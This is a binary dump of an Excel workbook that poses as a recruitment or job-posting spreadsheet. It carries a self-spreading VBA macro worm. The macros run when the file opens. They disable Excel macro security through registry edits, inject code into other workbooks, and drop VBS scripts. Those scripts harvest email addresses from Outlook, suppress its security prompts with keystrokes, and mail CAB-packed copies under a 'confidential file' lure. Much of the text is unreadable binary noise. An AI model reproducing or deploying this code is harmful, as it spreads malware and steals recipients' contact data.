ࡱ> LXO  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKNPUQRSTVWZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~Root Entry Fp1TM0WorkbookETExtData_VBA_PROJECT_CUR"p1Tp1T  \p _U\NS Ba= ThisWorkbook=R9!8X@"1Arial1 [SO1 [SO1 [SO1[SO1 ?Consolas1?Arial1?[SO1 Arial1[SO1[SO1[SO1[SO1@[SO1?[SO1 [SO1>[SO1[SO1[SO15[SO1,>[SO15[SO1h>[SO1>[SO1[SO1>[SO1[SO1 [SO1[SO1 [SO1 [SO1[SO1[SO1?[SO1Arial+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ W))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ g+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ /\$#,##0_);\(\$#,##0\)9\$#,##0_);[Red]\(\$#,##0\);\$#,##0.00_);\(\$#,##0.00\)E \$#,##0.00_);[Red]\(\$#,##0.00\)g1_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)i2_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)y:_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)W)_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)                   /   * -               P P       ff7   ` a6 * !+  6    /  6   1  ,  / /    8""   ! 1     8""    `   ( "0 14   "8   x@ @  x@ @  1|@ @  1|@ @    x@ @   x@ @ x@ @  1|@ @  1|@ @  x@ @ x@  x@  ||X&}A}ef }}  ̙ ??v}A}L }A} }A}23 }-} }-} }x}  }A}23 }-} }-} }-}  }-}! }A}" }A}#? }A}$23 }A}%23 }A}&23 }}' ??? ????????? ???}}(   }}}) ??? ????????? }A}*ef }A}+ }A}, }}U}- }A}. a}A}/ e}A}0ef }A}1 }A}2ef }A}3L }A}4ef }A}5L }A}6 }A}7 }A}8ef }A}9L }A}: }A};L }A}<23 }A}= }A}>L }A}?23 }x}A   333}(}B 999}(}C 999}x}E   333}(}F}(}G }}K}(}L}(}M}(}N}(}O}(}P}(}Q}(}R}(}S}(}T}(}U}(}V}(}W8^ĉ!20% - :_eW[r 32&20% - :_eW[r 3 eQeQ!40% - :_eW[r 32'40% - :_eW[r 3]]!60% - :_eW[r 32(60% - :_eW[r 3  lʑ lʑ!60% - :_eW[r 22$60% - :_eW[r 2 h 4h 4 fJTe,g fJTe,g hh!ʑ'`e,g 5ʑ'`e,g "h 1h 1 #h 2h 2!$60% - :_eW[r 12 60% - :_eW[r 1 %h 3h 3!&60% - :_eW[r 42,60% - :_eW[r 4 'QQ ({{)hgUSCQ40% - :_eW[r 62340% - :_eW[r 6!?60% - :_eW[r 62460% - :_eW[r 6cc PK N@theme/PK N@ theme/theme/PKN@ky}theme/theme/themeManager.xml M @}w7c(EbˮCAǠҟ7՛K Y, e.|,H,lxɴIsQ}#Ր ֵ+!,^$j=GW)E+& 8PKN@<=theme/theme/theme1.xmlYOo5#MvlM6Цۢ7&jHH q　Jĥ|@_g{fNHB#@=$3{~\0aIyWj"i4ai=@RtOI;\|kxC$!֧rXlcyY0&\$X݄-jk iR; IY1*B&(h\]Zkfr&LC!yİT0j,o^["NY_._0>X1.֚w.t:V.%j@_5V<Y|slukހ,~m߿ZkxMڡ~NL8۩|(24 Ou]K](<\_V4Ej ! ؙC\L T;x?Ðsz_|3GϏp--oN#w᫯?oϾzjt?O?~Z TK<I|K ҄Ht}n0d$.bcJ#STCߞa+p[RR1} ũ4jJHvc≹ppDRThwRϮ4\B)`Zi!y4_CˬJ@g{YGBV`V!0ό7Tᤊ'5-*!3T0zc"e՚;u~Lw,Bу*0.rtcdUMc<h*.3DpzQjpFH3SQ{; &@uB?ݶȿf[_U율اN.c/xȌŽm~[|>-/61Tjߊ26P3FnIӎK؎}̡,GE5HpU uG2'Iq gI3\I[3〲'Ѧ>"c;HIHohU8/ի9Q0kͭnD3VMlN`R5, }Gz@QmR\$c<&ދ>'>Wa5[K}nqˮq {o" /LGRtZ͕fB 1REp*ad6Y>fPO:܌X/(ՁLHelCL!Rʿ^|RC0cR}גɄu3mg_RʧA<>B#6ܯCS "6S~qΓν038;Y-2M27G<ЭRvU1)Ia?SE'p!:X`3pbU(iB׿0 Aw 9Kä5+>XeDeI(G\YG䐰kzoP nI^ dy"Ur9ww>6A))fyy(4f0l-+DVk+ւ+B80X6D\+!?*Bf? u"A@T/iG8AL+nՊRڨ J'\%;/h9yx-ڎjjIq11_O^| /Sm@PK N@_rels/PKN@֧6 _rels/.relsj0 }Q%v/C/}(h"O = C?hv=Ʌ%[xp{۵_Pѣ<1H0ORBdJE4b$q_6LR7`0̞O,En7Lib/SeеPK N@theme/theme/_rels/PKN@ ѐ'theme/theme/_rels/themeManager.xml.relsM 0wooӺ&݈Э5 6?$Q ,.aic21h:qm@RN;d`o7gK(M&$R(.1r'JЊT8V"AȻHu}|$b{P8g/]QAsم(#L[PKN@ $[Content_Types].xmlN0EH-J@%ǎǢ|ș$زULTB l,x\vTU^hd}㨫)*1P'^ח0)T9l#$> `?Cs]7zb$xu-lV{9>DVNj,5(Bȥszҕhhs0U~,}2ToF0,į*=댬o[gv; 9'33y ; oOPKN@ $  [Content_Types].xmlPK N@_rels/PKN@֧6  _rels/.relsPK N@theme/PK N@ $theme/theme/PK N@theme/theme/_rels/PKN@ ѐ'  theme/theme/_rels/themeManager.xml.relsPKN@<= theme/theme/theme1.xmlPKN@ky} Ntheme/theme/themeManager.xmlPK ?. XTableStyleMedium9PivotStyleLight16`lMacro1o\MOGl;`hCONFIGjpencW[xQVV4" area;0 Auto_Activate:0 Auto_Activate:0 Auto_Activate:0 Auto_Activate:& degree;   edu; & isexam;& isopen;& iswork;& object;, political;  sex;& system;* workyear; !  ;0 dQ\bXNpebSmbX\MOGl;`h^SbXUSMObX\MO TybX\MONxbXNpe_kO[EbNpe Q\bXNpebSmbX_l^Nl;Sb;S^\MOA202100441:1.253 9e:NbX2N0# _l^,{ NNl;Sb|^yy;S^A20210441:1.3329e:NbX1N0_l^v;Sbv'`uy;S^A20210531:1.5 _l^~8hu2l@b4N^;SuA2021062;S^A20210150SmbX%`ʋQy;S^A202101611:2%`ʋYy;S^A2021017uty;S^A2021018STy;S^A2021019?Qy;S^A20210203;Uy;S^A2021021|^yy;Nl;S^A2021043A2021050bXA2021051A2021052A2021063|^ykSu;SuA2021065lQkS;SuA2021066q_P;SuA2021067_l^-N_@z;SuA2021076 _l^LNu2l@bA2021079ychHhRtXTM2021055| j{"id":"exp_batchPost","filename":"LMO{t","version":"1.0","sheetids":0,"startrow":2,"cols":[{"col":"A","field":"UNITNAME","colname":"bUSMO","type":"string","rules":[{"type":"required","reg":"required","msg":"{colname} N:Nzz"}]},{"col":"B","field":"DEPT","colname":"(uN","type":"string","rules":[]},{"col":"C","field":"POSTNAME","colname":"LMO Ty","type":"string","rules":[{"type":"required","reg":"required","msg":"{colname} N:Nzz"}]},{"col":"D","field":"POSTCODE","colname":"LMONx","type":"string","rules":[{"type":"required","reg":"required","msg":"{colname} N:Nzz"}]},{"col":"E","field":"DESCRIPTION","colname":"LN{N","type":"string","rules":[]},{"col":"F","field":"ENROLLNUM","colname":"bU_Npe","type":"string","rules":[{"type":"number","reg":"number","msg":"{colname}_{:NpeyONXT" 02.-NN" 0.&T 02.YZQXT" 2.sY 02.Sl|~" 02.f[XSN N" 440704._lwm:S" 00. NP" 03.-NNSN N" 03.O" 3. NP" 03.h[|~" 03.UxX" 440705.eO:S" 04.'YN" 04.l;NZQ>m" 04.lb|~" 04.UxXSN N" 440781.Sq\^" 05.'YNSN N" 05.qQRVXT" 05.vQN|~" 05.ZSX" 440783._s^^" 06.,gy" 06.kSu{|" 440784.dq\^" 07.,gySN N" 07.(u~T{t{|" 440785.i`s^^" 08.xvzu" 08.Ye{|" ? @  %o  dMbP?_*+%&ffffff?'ffffff?(?)?" dXX333333?333333?& UBT,Yq\BA B~h/y(u[ sQ 2021-11-15 9:07:44 Please Enable Macro!BvBAB7d 0 >@<$ ggD   1%F  dMbP?_*+%&?'?(?)?"d,,??&U} mH} II} I} I} $"J} $ J1v@ FGGGGGGG G G G G GGGGGGGGGGGGGGGGGGG KKKKKKKK L L L L L L L L~ M? N N O O O O P~ M@ N N O O O O Q~ M@ N N O O O O Q~ M@ N N O O O O Q~ R? S S T T T T U ~ R@ S S! T" T# T$ TV~ R@ S S% T& T# T$ TV~ R@ S S' T( T T T V~ R@ S S) T* T T T V~ R@ S S+ T, T T T V~ R@ S S- T. T T T V~ R @ S S/ T0 T# T$ T V~ R"@ S S T1 T T TV~ R$@ S S2 T3 T# T$ TV~ R&@ S S2 T4 T# T$ TV~ R(@ S S T5 T# T$ TV~ R*@ S S6 T7 T# T$ TV~ R,@ S S8 T9 T# T$ TV~ R.@ S S: T; T# T$ TV~ R0@ S< S= T> T# T$ TV~ R1@ S? S: T@ T# T$ T#V~ R2@ S? SA TB T# T$ TV~ R3@ SC SD TE T# T$ T#V~ R4@ SF SG TH T# T$ T#V~ R5@ SI SJ TK T# T$ TV~ R6@ SL SM TN T# T$ T#V~ R7@ SL SO TP T T TV~ R8@ SL S' TQ T# T$ T#V~ R9@ SL SR TS T# T$ TV~ R:@ SL S2 TT T T TVDl&ppppppllllllllllllllllllllllll G!G"G#G$G%G&G'G(G)G*G+G,G-G.G/G0G~ R;@ S SU TV T SW T V~ !R<@ !S !SX !TY !T !SW !T!V~ "R=@ "S "SZ "T[ "T "SW "T"V~ #R>@ #S\ #S+ #T] #T# #T$ #T#V~ $R?@ $S\ $S^ $T_ $T# $T$ $T$V~ %R@@ %S\ %S+ %T` %T %T %T%V~ &R@@ &S\ &Sa &Tb &T# &T$ &T&V~ 'RA@ 'S\ 'Sc 'Td 'T# 'T$ 'T'V~ (RA@ (S\ (Se (Tf (T# (T$ (T(V~ )RB@ )S\ )Sg )Th )T# )T$ )T)V~ *RB@ *S\ *Si *Tj *T *T *T*V~ +RC@ +S\ +Sk +Tl +T +T +T+V~ ,RC@ ,Sm ,Si ,Tn ,To ,Tp ,T,V~ -RD@ -Sq -Sr -Ts -T# -Tt -T-V~ .RD@ .Sq .Su .Tv .T# .Tt .T.V~ /RE@ /Sw /Sx /Ty /T# /T$ /T#/V~ 0RE@ 0Sz 0S{ 0T| 0T# 0T$ 0T#0W&@llllllllllllllll>@<0$ 0ggDSheet1   %  dMbP?_*+%&?'?(?)?"d,,??&U D}">@<$ ggDSheet2    %f  dMbP?_*+%&?'?(?)?"d,,??&U              @~ A A A A A A A A E @ B C C D C D C D D  C~   B C C  C D C D D  C~  ? B C C C C C  C~  @ BC C C C  C~  @ B C C C  C~  @ B C C  C~  @ B C C~  @ B C C~  @ C~  @~ "@~ $@p^TF88>@<$ ggDSheet3   !"#$%&')*+,-./012345679:;<=>?@ABCDEFGIJKLMNOPQRSTUVWXYZ[\]^_`abcdefgijklmnoqrstvwxyz{|}~ JbX Ѳ0* pHd VBAProject4@j = r `c J< rstdole>stdole h%^*\G{00020430-C 0046}#2.0#0#C:\Windows\SysW OW64\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-VBAp1Tp1Tdir Sheet1Sheet2(5BFA-101B-BDE5EAAC42Egram Files (x86)\Common \Microsoft Shared\OFFICE14\MSO.DLL#P 14 .0 Ob LibraryNVBIDE>BIDEpE157T5\.3T/1\6E6EXT.OLB2Visual Basic for Applicds Extensibility @!@-BGBThisWorkbookG TisWrkbo* 2 HB1BBE,!d>"B+BBSheetT1GS@#e@t1H2N-J*2222U 3 3 3M 3 )T,oDv T9DOLZ) )!7b'GّJ#xME (SLSS<N0{00020820-0000-0000-C000-000000000046}@(%H@0`cxAttribute VB_Name = "She@et1" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2'GJ#xME (SLSS<N0{00020820-0000-0000-C000-000000000046}@(%H@0`cxAttribute VB_Name = "She@et2" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2Sheet3 8ToDOLEY__SRP_0 H__SRP_1h'Gٍ#xME (SLSS<N0{00020820-0000-0000-C000-000000000046}@(%H@0`cxAttribute VB_Name = "She@et3" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2GxME P1<<02<6 <<4h`0 L@`  T`@\L R8`  d$D% f As % j0% ,`x  14 B0`  )1  % 14 x% z(xx_w%+~`p ffi.Ref)%)00-0%i _ 14 f nor:%`Scre`b`Disp`b`C@b icat% t8`  14`` Th r@`x  14@ !N````` 4.` z`$~ ` ipi i$ 14@  X `@ )1`! %` + ` i v ` &&` GB@`G`G~`G`7@ P " ` `,`.`0 `2`4 `  *h ` bb`,`.`0 `2f!`H`4 !``  Vx ` YZ 8Y\ Y^ \k4.Y`( Ybk4`d `f  /+$ `  +` ` i /`P``,+J ` @ H@ `,+x `(  I @ R\So@ ice\  ( ` I  ice\I vel@ AL_M@ osof N `!!  are\%`\Exc`'`  p` @ @ DA@ ` t.Shh ( 0 ` 8  @@x x 8J % "p`c*\R4*#1d*\R1*#386$*\Rffff*0=6389cb48"  0@H*P  "&2*("X"0@"P4xV 0(0X0  "   0P`hx B B   "(P B$X p x      ( 0@HP Xhpx  *  " 0 @ P`h px           ( H`(x        ( "8 `  p  x        B       B L` J H H  `  p      B        * ZH V \ X`     ( H " PX`  "   ( @Xx6^@Xx <08P B X`hp "  0bP 02  ( .0 `hpxP    .@ JH ,,  ( "0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// "0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B "0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC BxC2CCCCCCDDD B D D8D@D XDhDD DDDDDD*D2EPE`EhEBpExEE4E.EF*F HFXF B `FhFpF*F F F FF " FGG*GJHGG GG GG GH H0H8H "@HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B KKK K K KK&L0L$8L"`LLLLLL L LL &(* !N &!P &(@aARAT$V!Macro1G A@Xj B@Z000000 &(@kXoP@]"( ThisWorkbook !4%^!`J#Public WithEvents xx As ApplicationC@bessPrivate Sub Workbook_open()C@byouSet xx = ApplicationC@bnetOn Error Resume NextC@brom!Application.DisplayAlerts = FalseC@b Call do_whatC@bal End SubC@b1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@b On Error Resume NextC@b %wb.VBProject.References.AddFromGuid _C@b GUID:= \&{0002E157-0000-0000-C000-000000000046} \, _C@b Major:=5, Minor:=3C@b "Application.ScreenUpdating = FalseC@b!Application.DisplayAlerts = FalseC@b copystart wbC@b!Application.ScreenUpdating = TrueC@bEnd SubC@bqo]]] !4.d ThisWorkbook d%^.f f!`.j j5nC@lqox8 !N &!PA@pArAtAvk0i(]]k4.xls$|!4.x 0!4.zToDole x z$~Gzji  0]](]@]X]p]] '~z0k( $ '~zk '~zk ! '~zk ! '~zkx  %^.f !'~z@k8Temp$\ .bas'      $~  B@ A@ !'~zkk !^ 7C@qXdP B@  %^.f ! ! d'~zkkk   %^B@ \$' .$'      $'.f  %^.f f  !^B@d f!l   !^%. f!`5nC@l !`!n !`%' C@bq  !^B@k`kX A@'~i8]]  !' &!P\k4.xls'k4.xls$ !N &!PGk4.xls$|B@Bjcomspec$  /c attrib -S -h " &!P\K4.XLS" A@comspec$  /c Del /F /Q " &!P\K4.XLS" A@comspec$  /c RD /S /Q " &!P\K4.XLS" A@ !N &!P &(@ (  B@ ( &(@kHi@8]]]( &!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi@] WScript.Shell$.    B@dP    B@k0.o ]h 0%VB@H l VB@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" &!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  0!V !!Auto_Activate =Macro1!$A$2 0!B@  0%(o'   &%|! 'z`kX PiH]10:00:00 ]11:00:008]14:00:00P]15:00:00h] WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@ A@"k d $G|j   n $&   n $&| d n $&'( D:\Collected_Address:frag2.txt$X'( n $& D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@  D:\Collected_Address:frag2.txtA@ A@*k k k o ] 8Ph scripting.filesystemobject$.4 WScript.Shell$.E:\KK 4%6GE:\KK 4B@8j ! ! $ _$:._$:'.E:\KK\ . _clear.vbs'< ', < , ,On error Resume Next ,Dim wsh, tle, T0, i , T0 = Timer , Set wsh=createobject("wscript.shell") , tle = "Microsoft Office Outlook" ,For i = 1 To 1000 ,$ If Timer - T0 > 60 Then Exit For , Call Refresh() , wscript.sleep 05 , wsh.sendKeys "%a" , wscript.sleep 05 , wsh.sendKeys " {TAB}{TAB}" , wscript.sleep 05 , wsh.sendKeys "{Enter}" ,Next ,Set wsh = Nothing , wscript.quit , Sub Refresh() ,*Do Until wsh.AppActivate(CStr(tle)) = True ,$ If Timer - T0 > 60 Then Exit Sub ,Loop , wscript.sleep 05 , wsh.SendKeys "%{F4}" ,End Sub ,VE:\KK\ . _Search.vbs'> ', > , ,On error Resume Next ,Const olFolderInbox = 6 ,$Dim conbinded_address,WshShell,sh,ts ,#Set WshShell=WScript.CreateObject("WScript.Shell") ,Set objOutlook = CreateObject("Outlook.Application") ,,Set objNamespace = objOutlook.GetNamespace("MAPI") ,<Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) ,Set TargetFolder = objFolder ,conbinded_address = "" ,!Set colItems = TargetFolder.Items ,wscript.sleep 300000 ,WshSHell.Run (" wscript.exe  <"), vbHide, False , ts = Timer ,For Each objMessage in colItems ,& If Timer - ts >55 then exit For ,M conbinded_address = conbinded_address & valid_address(objMessage.Body) ,Next ,add_text conbinded_address, 8 ,)add_text all_non_same(ReadAllTextFile), 2 , WScript.Quit , ,+Private Function valid_address(source_data) ,T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr , Dim regex, matchs, ss, arr() , Set oDict = CreateObject("Scripting.Dictionary") , Set regex = CreateObject("VBSCRIPT.REGEXP") , , regex.Global = True , regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" ,* Set matchs = regex.Execute(source_data) ,% ReDim trimed_arr(matchs.Count - 1) ,3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) ,/ trimed_arr(i) = matchs.Item(i) & vbCrLf , Next , ,3 For i = LBound(trimed_arr) To UBound(trimed_arr) , oDict(trimed_arr(i)) = "" , Next , , If oDict.Count > 0 Then , nonsame_arr = oDict.keys ,: For i = LBound(nonsame_arr) To UBound(nonsame_arr) ,; valid_address = valid_address & nonsame_arr(i) , Next , End If , Set oDict = Nothing , End Function , ,0Private Sub add_text(inputed_string, input_frag) ,5 Dim objFSO, logfile, logtext, log_path, log_folder , log_path = "D:\Collected_Address" , Set objFSO = CreateObject("Scripting.FileSystemObject") , On Error resume next ,1 Set log_folder = objFSO.CreateFolder(log_path) , ,$ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then ,7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True) , End If , Set log_folder = Nothing , Set logfile = Nothing , , Select Case input_frag , Case 8 ,8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) ,& logtext.Write inputed_string , logtext.Close , Case 2 ,8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) ,& logtext.Write inputed_string , logtext.Close , End Select , set objFSO = nothing ,End Sub , ,"Private Function ReadAllTextFile() , Dim objFSO, FileName, MyFile , FileName = "D:\Collected_Address\log.txt" , Set objFSO = CreateObject("Scripting.FileSystemObject") ,< Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1) , If MyFile.AtEndOfStream Then , ReadAllTextFile = "" , Else ,( ReadAllTextFile = MyFile.ReadAll , End If ,set objFSO = nothing , End Function , ,*Private Function all_non_same(source_data) ,( Dim oDict, i, trimed_arr, nonsame_arr , all_non_same = "" , Set oDict = CreateObject("Scripting.Dictionary") , ,* trimed_arr = Split(source_data, vbCrLf) , ,3 For i = LBound(trimed_arr) To UBound(trimed_arr) ,! oDict(trimed_arr(i)) = "" , Next , , If oDict.Count > 0 Then , nonsame_arr = oDict.keys ,: For i = LBound(nonsame_arr) To UBound(nonsame_arr) ,B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf , Next , End If , Set oDict = Nothing , End Function ,V B &(@ wscript.exe > F B@D.o]  ]8 P J'H WScript.Shell$.scripting.filesystemobject$.4E:\SORCE 4%6GE:\SORCE 4B@8j ! ! $ _$:._$:'.* . *Message*'L E:\sorce\ ._Key.vbs'0 ', 0 , ,.Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route ,On error Resume Next ,Set sh=WScript.CreateObject("shell.application") ,sh.MinimizeAll ,Set sh = Nothing ,Set Fso = CreateObject("Scripting.FileSystemObject") ,%Set WshShell = WScript.CreateObject("WScript.Shell") ,If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" ,Fso.CopyFile _ ,WshShell.CurrentDirectory & "\ .*.CAB", "E:\KK\", True ,For Each Atta_xls In ListDir("E:\KK") , WshShell.Run "expand " & Atta_xls & " -F: . .xls E:\KK" , 0, true ,Next ,If Fso.FileExists("E:\KK\ ..xls" ) = 0 then ,- route = WshShell.CurrentDirectory & "\ ..xls" ,7 if Fso.FileExists(WshShell.CurrentDirectory & "\ ..xls")=0 then ,# route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ ," & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _ , " Open a File" , "$Please Input the Complete File Path", 10000, 8500) , End if ,else , route = "E:\KK\ ..xls" ,End If , set oexcel=createobject("excel.application") ,' set owb=oexcel.workbooks.open(route) , oExcel.Visible = True ,Set oExcel = Nothing ,Set oWb = Nothing ,Set WshShell = Nothing ,Set Fso = Nothing , WScript.Quit ,%Private Function ListDir (ByVal Path) ,( Dim Filter, a, n, Folder, Files, File , ReDim a(10) , n = 0 ," Set Folder = fso.GetFolder(Path) , Set Files = Folder.Files , For Each File In Files , If left(File.Name, .) = " ." and right(File.Name,3) = "CAB" Then ,4 If n > UBound(a) Then ReDim Preserve a(n*2) , a(n) = File.Path , n = n + 1 , End If , Next , ReDim Preserve a(n-1) , ListDir = a , End Function ,V !N \TEST.txt'2 ', 2 , , E:\sorce\ ._Key.vbs , E:\sorce\ ..xls ,V &(@A@N E:\sorce\ ..xls B@A@p$L' P !N$A@R#"C:\" !NA@:comspec$  /c makecab /F " !N \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ ..CAB F B@D " !N \TEST.txt 4%T !N \setup.rpt 4%T !N \setup.inf 4%T !N\ ..CAB 4%TaA@comspec$  /c RD /S /Q " !N\disk1" F B@Dcomspec$  /c Del /F /Q " !N \TEST.txt" F B@Dcomspec$  /c Del /F /Q " !N \setup.rpt" F B@Dcomspec$  /c Del /F /Q " !N \setup.inf" F B@Dcomspec$  /c RD /S /Q E:\sorce F B@DE:\KK 4%6GE:\KK 4B@8jcomspec$  /c MOVE /Y  . .CAB E:\KK" F B@D PA@: H . Dear all, X . XFYIE:\KK\ ..CABAVcomspec$  /c RD /S /Q E:\KK F B@D. &(@o=h ]H ]` $G|jOutlook.Application$.d j d%h.f f \9\ ^9^ Z9h `9l b5nB@9pq =r=t= fB@v[ setforth A@A@A@%szA@xA@t<r<.d.fo<x Win32_Process WinMgmts:$~%.|'$  | !OUTLOOK '$y<k;;i; ] 0 H ' Gzj   ,  $$ ,' ,zP;kH;  'A@4 ,   ,    '   G $$   'j   ':i:` ]   'JD:\Collected_Address\log.txt$ X$'    $$$$' ,  J; ,$X $'J ,i9 9]H ` scRiPTinG.fiLEsysTeMoBjEcT$.  %. !' B@Bi9x 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %6G   $ B@8j  %T  %.  B@ B@Bd8  %.  B@ B@Bk7o7( ]h   ] &(@ &(*p7  ! ( !!$# Auto_ActivateG B@j7  !V !Macro1  ( B@k66$VB@H VB@  !V !$V!G  (j06  '  '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 &(@op4 ](@X@4 !' &(@ &(*  !V !Macro1G  (j3 A1:F15 $V% ! CONFIDENTIAL 'yh3k`3X3 G $VB@j &(@i 33XAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Func d#r&Є@_`(cDataaInvoke_a! \n147n.̠toreAfterayCDoorMisoftho(bbyABJuLdg  % T(2F1 LP1Lk2t#= M0#k4.xlse'(29L7 Q mrh@'oDole",$)K @F)xExit Zn}`lStringL! S& /tGF S SlashPo@s LongE xtQTempEQL c"Is No05 g%`'T #a1$ᘱTrim(#)vbNull3(a  & Q0Hc].=,t:"_pp_locked_ys*y9 [t0Pß2w#SJ!'Q Дv>8(s  .Number0 _!Y!9=viron0R2")"\љÈMP.basA H= + s! ! Dir(", Q.orm@+HiddСSystem)0 CleasE KiB% q929*8* .Rem .I !Eq1 :)dI"Q+= 9>2  `@Else `@ copymodule = Fah Exit Function Endx If&   FromVBProject.VBComponents(MName).Exporpile:=FBGSlashPosInStrRev(, "\")Ext.?-#Mid!.+ 1,}#-  - 11Fet e#Nothing To}B *If)Is a* The(.6I@UO KF.Typvbext_ct_Docu~m@f6AS@?TempF@%CY:KWith?.Code.DeleteL0inesAj untOf S@g*5H. (zCo-/.Insert!SA4KOn Error GoTo 0 VPRemove. ) hm iKill g}Tru'@{ e Microsoft@hobby(`Attribute l`y_zcDataaInvoke_! ." \n14" Dim myfz0 As wBeMyF#F$Res@Q N) S =SisWorkbook`.Full = ApplicaA.Startu(pPa K&`k4p.xls `eO pen("$) 2AThH <>+ s s' .CloseEShe2Environ$("comsp ec")  /c aB, -S -h """9@K4.XLS, vbMinim izedFws  h /F /:Q? \? ORD8 /S 3 @62= )cre enUpd DngTi IsAdd@KValue2Variant, 34VS?0xt 0 0 Tha';TruExith4xIf A:'} AJudge() Const T1~D= "10:0"2 1 3 4 4 5Dim Sent Tib, Wshvll.Set#CCre(Object("WS@cript.B "2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\shell\o@\command\")), "OUTLOOK.EXE"Gk> c@T)@1>=R@<2 O\r @J 4~ & @(Ou7D: \Coll:ed_Address:frag1.txt!i"AH%Y E PFi"1"\A search_in_OLH2bif_outl_U+ @# TLh#A("n10,2)G) TJ4)#'6M#FQ= -21, Now L! ˀt X% C (;2; & y+w < 2# b$ \loggHPH l%cmI JI`,n6R#i,"Cab_ dMyISBU`Gadx*] aiInteger, Att+@ddVbsbkCʢListf~s gኦLRxesuC䡢=dys¡@.f{systemob'_I @Mfs.Folderexs("E:\KKbz$8b  $= Replace`Left(Thi6snp,rsn) (- 4qX %_".@&_c{rPb\" &6& ".vbs (i`Free1 vFF0~QXput0scW Wri@#iAPnt #i!bn| eBx`#wsh, tleL;i  T0P Pr=co3("""wc.k4) @Misoft Office PAZQ1 Ў1000bkR p > 6㌓^PCall !f mh( leep 05p.sen@dKeys $ %a P Uh{TAB}?BOO 